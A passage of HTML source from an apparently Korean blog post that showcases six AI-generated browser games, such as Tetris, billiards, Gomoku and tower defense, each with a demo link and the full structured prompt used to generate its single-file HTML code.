&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/gomoku-ai&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;Rhythm Beat&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;4레인 DDR 리듬 게임&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;리듬&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;D&amp;middot;F&amp;middot;J&amp;middot;K키 4레인, PERFECT/GOOD/MISS 판정, BPM 128 자동 패턴, Web Audio 피드백&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/rhythm-beat&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;Tower Defense&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;20&amp;times;14 그리드 BFS 타워 디펜스&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;전략&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;BFS 경로탐색, 3종 타워&amp;middot;3종 적, 10웨이브, 업그레이드, 2&amp;times; 속도 배율&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/tower-defense&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 게임 1: Tetris Prime --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;① Tetris Prime&lt;/b&gt; &amp;mdash; 퍼즐 / ★★★★ / PC&amp;middot;모바일 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/tetris-prime&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRS 회전&amp;middot;월킥&amp;middot;7-bag&amp;middot;홀드&amp;middot;고스트가 모두 구현된 정통 테트리스. 20라인 7분 미션 클리어와 모바일 터치 컨트롤을 지원한다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 10년차 시니어 HTML5 게임 개발자다. Canvas 2D API, requestAnimationFrame 기반 게임 루프, 키보드 입력 처리, 점수 시스템 설계에 능숙하다. 단일 HTML 파일로 즉시 실행 가능한 게임을 만드는 전문가다. [PROJECT] 코드네임: TETRIS-PRIME 목표 플랫폼: 데스크톱 Chrome 130+ (모바일 best-effort) 산출물: 단일 index.html (외부 라이브러리 CDN 사용 금지, vanilla JavaScript만) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: SRS 회전 시스템 (Super Rotation System, wall kick 테이블 포함) F-02: 7-bag 랜덤화 (같은 미노가 5번 이상 연속으로 나오지 않는다) F-03: Hold 기능 (C 또는 Shift 키, 한 턴에 1회만 허용) F-04: 하드드롭 (Space) + 소프트드롭 (&amp;darr; 길게) + lock delay 0.5초 F-05: 라인 클리어 점수: Single=100, Double=300, Triple=500, Tetris=800, T-Spin Triple=1600 F-06: 레벨 시스템: 10라인마다 +1, 낙하 속도 = (0.8 - level&amp;times;0.007)^level 초/cell F-07: Ghost piece 표시 (착지 위치 반투명) F-08: 한국어 UI: &quot;다음 블록&quot;, &quot;보유 블록&quot;, &quot;점수&quot;, &quot;레벨&quot;, &quot;라인&quot;, &quot;일시정지&quot;, &quot;게임오버&quot;, &quot;재시작&quot; F-09: 일시정지 (P키), 게임오버 후 재시작 (R키) F-10: 미션 모드: 시작 시 &quot;20라인을 7분 안에 클리어하라&quot; 메시지 표시, 달성 시 &quot;미션 성공!&quot; 화면 [NON-FUNCTIONAL REQUIREMENTS] N-01: 60fps 유지 (requestAnimationFrame 기반, frame drop 없이) N-02: 키 입력 반응 latency 50ms 이하 N-03: 모바일: 터치 컨트롤 5버튼 자동 활성화 (좌&amp;middot;우&amp;middot;회전&amp;middot;소프트드롭&amp;middot;하드드롭) N-04: 코드 총 길이 1,500줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: J 미노를 좌측 벽에 붙인 상태에서 시계 방향 회전 &amp;rarr; wall kick으로 우측 1칸 이동 확인 T-02: 동시에 4라인을 클리어하면 점수가 정확히 800 증가 확인 T-03: 같은 미노가 5번 연속으로 등장하지 않는지 50턴 동안 확인 T-04: Hold 사용 직후 즉시 Hold 재시도 &amp;rarr; 무시되어야 함 T-05: 미션 모드에서 7분이 경과하기 전에 20라인 클리어 &amp;rarr; &quot;미션 성공!&quot; 화면 표시 T-06: 브라우저 창을 절반 크기로 줄여도 캔버스가 잘리지 않고 리스케일 확인 [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 알려진 한계 및 개선 여지 5줄 이내 [CONSTRAINTS] - 외부 라이브러리, CDN, npm 패키지 사용 금지 (순수 HTML+JS+CSS) - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 (외부 CSS 파일 금지) [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 2: 한옥마을 워크 시뮬 --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;② 한옥마을 워크 시뮬&lt;/b&gt; &amp;mdash; 시뮬레이션 / ★★ / PC 전용 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/hanok-maeul&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Three.js 기반 1인칭 한옥마을 워킹 시뮬레이션. WASD+마우스로 기와지붕 건물을 자유롭게 탐험하고 미니맵과 한국어 표지판을 만나보자.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 Three.js 전문 개발자로, 3D 씬 구성, 조명&amp;middot;그림자 시스템, 1인칭 카메라 컨트롤, 충돌 감지에 능숙하다. 한국 전통 건축 양식(한옥)의 기본 형태를 알고 있으며, 한국어 UI를 자연스럽게 작성한다. 단일 HTML 파일로 즉시 실행 가능한 3D 씬을 만드는 전문가다. [PROJECT] 코드네임: HANOK-MAEUL 목표 플랫폼: 데스크톱 Chrome 130+ (Three.js r165 CDN 사용) 산출물: 단일 index.html (Three.js CDN 1개만 허용, 그 외 외부 라이브러리 금지) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: Three.js r165 CDN 로드 (https://cdn.jsdelivr.net/npm/three@0.165.0/build/three.min.js) F-02: 1인칭 시점 카메라 (WASD: 전진/후진/좌이동/우이동, 마우스: 시점 회전, 클릭으로 포인터 락 활성화) F-03: 한옥 건물 최소 3채 (지붕 곡선 표현, 기둥, 마루, 담장 포함) F-04: DirectionalLight 기반 그림자 시스템 (castShadow, receiveShadow 모두 활성화) F-05: AABB 충돌 감지 (건물과 담장에 부딪히면 통과 불가) F-06: 지면: 잔디 또는 흙 색상 기반 PlaneGeometry, 15&amp;times;15 이상 크기 F-07: 한국어 HUD: 화면 상단에 &quot;한옥마을&quot; 제목, 조작법 안내 (&quot;WASD: 이동 | 마우스: 시점&quot;), &quot;클릭하면 시작&quot; 안내 F-08: 안내 표지판 3개 이상 (한국어 텍스트, Canvas Texture로 Sprite에 렌더링) F-09: 미니맵 (화면 우하단, 60&amp;times;60px, 플레이어 위치와 건물 위치를 2D 점으로 표시) F-10: 로딩 화면 &amp;rarr; 씬 전환 (로딩 중 &quot;한옥마을을 불러오는 중...&quot; 표시, 완료 시 자동 전환) [NON-FUNCTIONAL REQUIREMENTS] N-01: 60fps 유지 목표 (requestAnimationFrame, 단순 지오메트리로 최적화) N-02: 포인터 락 실패 시 WASD 이동은 정상 동작, 시점 회전은 화살표 키로 대체 N-03: 씬 전체 폴리곤 수 10,000개 이하 (BoxGeometry&amp;middot;CylinderGeometry 조합 허용) N-04: 코드 총 길이 1,800줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: 브라우저에서 열면 로딩 화면이 표시된 뒤 씬으로 자동 전환 확인 T-02: 클릭 후 WASD로 캐릭터가 이동하며 마우스로 시점이 회전 확인 T-03: 건물에 가까이 다가가면 통과하지 못하고 멈춤 확인 (충돌) T-04: 그림자가 지면과 건물에 드리워짐 확인 (console에 shadow-related error 없음) T-05: 미니맵에서 플레이어 위치가 이동에 따라 실시간 갱신 확인 T-06: 안내 표지판 3개가 화면에 보이고 한국어 텍스트가 읽힘 확인 [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 알려진 한계 및 개선 여지 5줄 이내 [CONSTRAINTS] - Three.js CDN 1개를 제외한 모든 외부 라이브러리 금지 - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 3: Billiards Sim --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;③ Billiards Sim&lt;/b&gt; &amp;mdash; 스포츠 / ★★★ / PC 전용 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/billiards-sim&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물리 엔진 기반 Canvas 8볼 당구. 마찰&amp;middot;탄성 시뮬레이션, 조준선과 1회 반사 경로 예측, 볼-인-핸드 파울 처리까지 완전한 8볼 규칙이 구현되어 있다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 10년차 시니어 물리 엔진 개발자다. Canvas 2D 기반 강체(rigid body) 물리 시뮬레이션, 원형 충돌 감지, 반사 벡터 계산, 마찰&amp;middot;탄성 모델링에 능숙하다. 당구 게임 규칙과 UI를 한국어로 자연스럽게 구성한다. 단일 HTML 파일로 즉시 실행 가능한 게임을 만드는 전문가다. [PROJECT] 코드네임: BILLIARDS-SIM 목표 플랫폼: 데스크톱 Chrome 130+ 산출물: 단일 index.html (외부 라이브러리 CDN 사용 금지, vanilla JavaScript만) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: 당구대 렌더링 (초록 펠트, 쿠션 영역, 4개 코너 포켓 + 2개 사이드 포켓) F-02: 공 물리 시뮬레이션: 속도 벡터, 마찰 감속 (운동 마찰 계수 0.02/frame), 탄성 계수 0.85 F-03: 공-쿠션 충돌: 반사 벡터 계산 (입사각 = 반사각), 쿠션 충돌 시 속도 10% 손실 F-04: 공-공 충돌: 완전탄성충돌 공식 적용 (질량 동일), 겹침 방지 처리 F-05: 8볼 룰: 수구(흰공), 솔리드(1~7), 스트라이프(9~15), 8번 공 분류 및 규칙 적용 F-06: 조준 시스템: 마우스 드래그로 파워&amp;middot;방향 결정, 조준선(점선) + 예상 반사경로 1회 표시 F-07: 포켓 인식: 공이 포켓 반경 내 진입 시 제거, 득점 처리 F-08: 한국어 UI: &quot;솔리드 차례&quot; / &quot;스트라이프 차례&quot; / &quot;파울!&quot; / &quot;8번 공 넣어 승리!&quot; / 점수판 F-09: 파울 처리: 수구 포켓인 경우 볼-인-핸드(드래그로 수구 재배치) F-10: 새 게임 버튼, 공 삼각형 래킹 자동 배치, 브레이크 샷 시작 [NON-FUNCTIONAL REQUIREMENTS] N-01: 물리 업데이트 120Hz (requestAnimationFrame 내 sub-step 2회), 렌더링 60fps N-02: 공 정지 판정: 모든 공 속도 &amp;lt; 0.1px/frame 시 다음 턴으로 전환 N-03: 조준선이 마우스 이동에 16ms 이내 반응 (입력 레이턴시) N-04: 코드 총 길이 1,400줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: 수구를 정중앙에서 쿠션에 45도 각도로 충돌 &amp;rarr; 반사각 45도로 이탈 확인 (&amp;plusmn;5도 허용) T-02: 수구가 목적구 정면 중심 충돌 시 수구 정지, 목적구가 동일 방향 직선 이동 확인 T-03: 공을 강하게 쳐서 마찰로 인해 감속 후 완전 정지 확인 (무한 구르기 없음) T-04: 조준선이 마우스 방향 변경 시 실시간 업데이트, 쿠션 반사 경로 1회 예측선 표시 확인 T-05: 솔리드 차례에 스트라이프 공 먼저 포켓 &amp;rarr; &quot;파울!&quot; 표시, 상대방 볼-인-핸드 확인 T-06: 새 게임 시 15개 공이 삼각형 래킹 배치로 리셋, 수구 위치 초기화 확인 [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 물리 모델 설계 방침 및 알려진 한계 5줄 이내 [CONSTRAINTS] - 외부 라이브러리, CDN, npm 패키지 사용 금지 (순수 HTML+JS+CSS) - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 4: Gomoku AI --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;④ Gomoku AI&lt;/b&gt; &amp;mdash; 보드 / ★★★ / PC&amp;middot;모바일 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/gomoku-ai&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;19&amp;times;19 바둑판 오목 대전. Minimax + Alpha-Beta Pruning AI와 Easy~Hard 3단계 난이도로 대결하라. 착수 애니메이션, Undo, 경과 시간이 모두 포함된다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 10년차 시니어 게임 AI 개발자다. Minimax 알고리즘, Alpha-Beta Pruning, 휴리스틱 평가 함수 설계에 능숙하다. Canvas 2D로 보드 게임 UI를 만들고, 한국어 인터페이스를 자연스럽게 작성한다. 단일 HTML 파일로 즉시 실행 가능한 게임을 만드는 전문가다. [PROJECT] 코드네임: GOMOKU-AI 목표 플랫폼: 데스크톱 Chrome 130+ (모바일 best-effort) 산출물: 단일 index.html (외부 라이브러리 CDN 사용 금지, vanilla JavaScript만) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: 19&amp;times;19 바둑판 스타일 보드 (Canvas 2D, 격자선, 화점 표시) F-02: 플레이어(흑) vs AI(백) 대전, 클릭으로 착수 F-03: Minimax + Alpha-Beta Pruning AI (탐색 깊이 조절 가능) F-04: 난이도 3단계: Easy(깊이2) / Normal(깊이4) / Hard(깊이6+휴리스틱강화) F-05: 5목 승리 감지 (가로&amp;middot;세로&amp;middot;대각선 모두), 승리 돌 강조 표시 F-06: 착수 애니메이션 (돌이 자연스럽게 놓이는 효과), 마지막 착수 위치 표시 F-07: 한 수 되돌리기 (Undo): 플레이어 수 + AI 수 동시 취소, 턴당 1회 F-08: 한국어 UI: &quot;흑 차례&quot; / &quot;AI 생각 중...&quot; / &quot;흑 승리!&quot; / &quot;백 승리!&quot; / &quot;무승부!&quot; / 난이도 선택 버튼 F-09: 게임 정보 패널: 경과 시간, 착수 수(手), 현재 난이도 표시 F-10: 새 게임 버튼, 보드 가득 찼을 때 무승부 처리 [NON-FUNCTIONAL REQUIREMENTS] N-01: Hard 난이도 AI 응답 시간 3초 이하 (Web Worker 사용 가능) N-02: 보드 렌더링 60fps 유지 (requestAnimationFrame 기반) N-03: 반응형: 윈도우 크기에 따라 보드 자동 리스케일 (최소 400&amp;times;400px) N-04: 코드 총 길이 1,200줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: 가로 5목 완성 시 해당 돌 5개 강조 표시 + &quot;흑 승리!&quot; 메시지 확인 T-02: Hard AI가 플레이어의 열린 4목(활사: 양쪽 열린 4개)을 즉시 막음 확인 T-03: 보드 우하단 모서리에 5목 완성 시 정상 감지 확인 (경계 처리) T-04: Undo 실행 시 플레이어 돌과 AI 돌 각 1개씩 제거, 플레이어 차례로 복귀 확인 T-05: 보드 361칸 모두 채워진 상태에서 승자 없으면 &quot;무승부!&quot; 표시 확인 T-06: Easy &amp;rarr; Hard로 난이도 변경 후 새 게임에서 AI의 착수 품질 차이 확인 가능 [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 AI 휴리스틱 설계 방침 및 알려진 한계 5줄 이내 [CONSTRAINTS] - 외부 라이브러리, CDN, npm 패키지 사용 금지 (순수 HTML+JS+CSS) - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 5: Rhythm Beat --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;⑤ Rhythm Beat&lt;/b&gt; &amp;mdash; 리듬 / ★★★ / PC 전용 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/rhythm-beat&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4레인 DDR 스타일 리듬 게임. D&amp;middot;F&amp;middot;J&amp;middot;K키로 노트를 판정하고 PERFECT/GOOD/MISS로 점수를 쌓아라. BPM 128 자동 생성 패턴, 등급 시스템, Web Audio 비프 피드백이 포함된다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 10년차 시니어 HTML5 게임 개발자다. Canvas 2D 기반 리듬 게임 구조, 타이밍 판정 시스템, Web Audio API 활용, 파티클 이펙트 설계에 능숙하다. 리듬 게임 UI를 한국어로 자연스럽게 구성한다. 단일 HTML 파일로 즉시 실행 가능한 게임을 만드는 전문가다. [PROJECT] 코드네임: RHYTHM-BEAT 목표 플랫폼: 데스크톱 Chrome 130+ 산출물: 단일 index.html (외부 라이브러리 CDN 사용 금지, vanilla JavaScript만) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: 4레인 노트 판정 시스템 (키: D&amp;middot;F&amp;middot;J&amp;middot;K), 레인별 컬러 구분 (파랑&amp;middot;초록&amp;middot;주황&amp;middot;빨강) F-02: 노트가 위에서 아래로 낙하, 판정선(하단 20% 위치)에서 타이밍 판정 F-03: 3단계 판정: PERFECT(&amp;plusmn;40ms) / GOOD(&amp;plusmn;80ms) / MISS, 판정 결과 팝업 텍스트 표시 F-04: 콤보 시스템: MISS 시 초기화, 콤보 10&amp;middot;50&amp;middot;100에서 화면 이펙트 강화 (테두리 발광) F-05: 점수 시스템: PERFECT=300, GOOD=100, MISS=0, 콤보 보너스(콤보수&amp;times;10 추가) F-06: 노트 패턴 자동 생성: BPM 128 기준, 16분음표 단위, 3분 분량 패턴 프로시저럴 생성 F-07: Web Audio API로 비프음 생성 (외부 파일 없이): 레인별 다른 음정, 키 입력 시 피드백음 F-08: 한국어 UI: &quot;PERFECT!&quot; / &quot;GOOD&quot; / &quot;MISS&quot; / &quot;콤보&quot; / &quot;점수&quot; / 결과 화면(Perfect수&amp;middot;Good수&amp;middot;Miss수&amp;middot;최대콤보&amp;middot;최종점수&amp;middot;등급) F-09: 결과 화면 등급: S(PERFECT 90%+) / A(80%+) / B(70%+) / C(60%+) / D(그 이하) F-10: 일시정지(Esc키), 재시작(R키), 곡 진행률 바 (상단) [NON-FUNCTIONAL REQUIREMENTS] N-01: 타이밍 판정 기준: performance.now() 사용, setTimeout&amp;middot;setInterval 의존 금지 N-02: 노트 렌더링 60fps 유지, 판정선 기준 입력 레이턴시 보정 (-20ms 오프셋 적용) N-03: 키 입력 시 해당 레인 하단 발광 이펙트(50ms 지속), 롱프레스 방지 처리 N-04: 코드 총 길이 1,300줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: 노트가 판정선에 정확히 도달하는 순간 키 입력 시 &quot;PERFECT!&quot; 판정 및 300점 추가 확인 T-02: 판정선 기준 80ms 이후 입력 시 &quot;MISS&quot; 처리, 콤보 초기화 확인 T-03: 콤보 50 달성 시 화면 테두리 발광 이펙트 강도 증가 확인 T-04: MISS 발생 후 즉시 키 입력 성공 시 콤보 1부터 재시작 확인 T-05: 곡 종료 시 PERFECT&amp;middot;GOOD&amp;middot;MISS 개수 합이 전체 노트 수와 일치 확인, 등급 표시 확인 T-06: Esc 일시정지 &amp;rarr; 재개 후 타이밍 판정이 정상 동작 확인 (일시정지 중 노트 누락 없음) [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 타이밍 판정 설계 방침 및 알려진 한계 5줄 이내 [CONSTRAINTS] - 외부 라이브러리, CDN, npm 패키지 사용 금지 (순수 HTML+JS+CSS) - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 6: Tower Defense --&gt;
&lt;h4 style=&quot;font-size: 17px; font-weight: 600; color: #1a3a52; margin: 24px 0 8px;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;⑥ Tower Defense&lt;/b&gt; &amp;mdash; 전략 / ★★★★ / PC 전용 / &lt;a style=&quot;color: #0066cc; text-decoration: none; font-weight: normal;&quot; href=&quot;https://goddaehee.co.kr/arcade/tower-defense&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;데모 열기&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;20&amp;times;14 그리드 타워 디펜스. BFS 경로탐색으로 타워 배치 시 경로를 실시간 재계산한다. 3종 타워&amp;middot;3종 적&amp;middot;10웨이브&amp;middot;업그레이드&amp;middot;2&amp;times; 속도 배율이 포함된다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;프롬프트 전문 보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
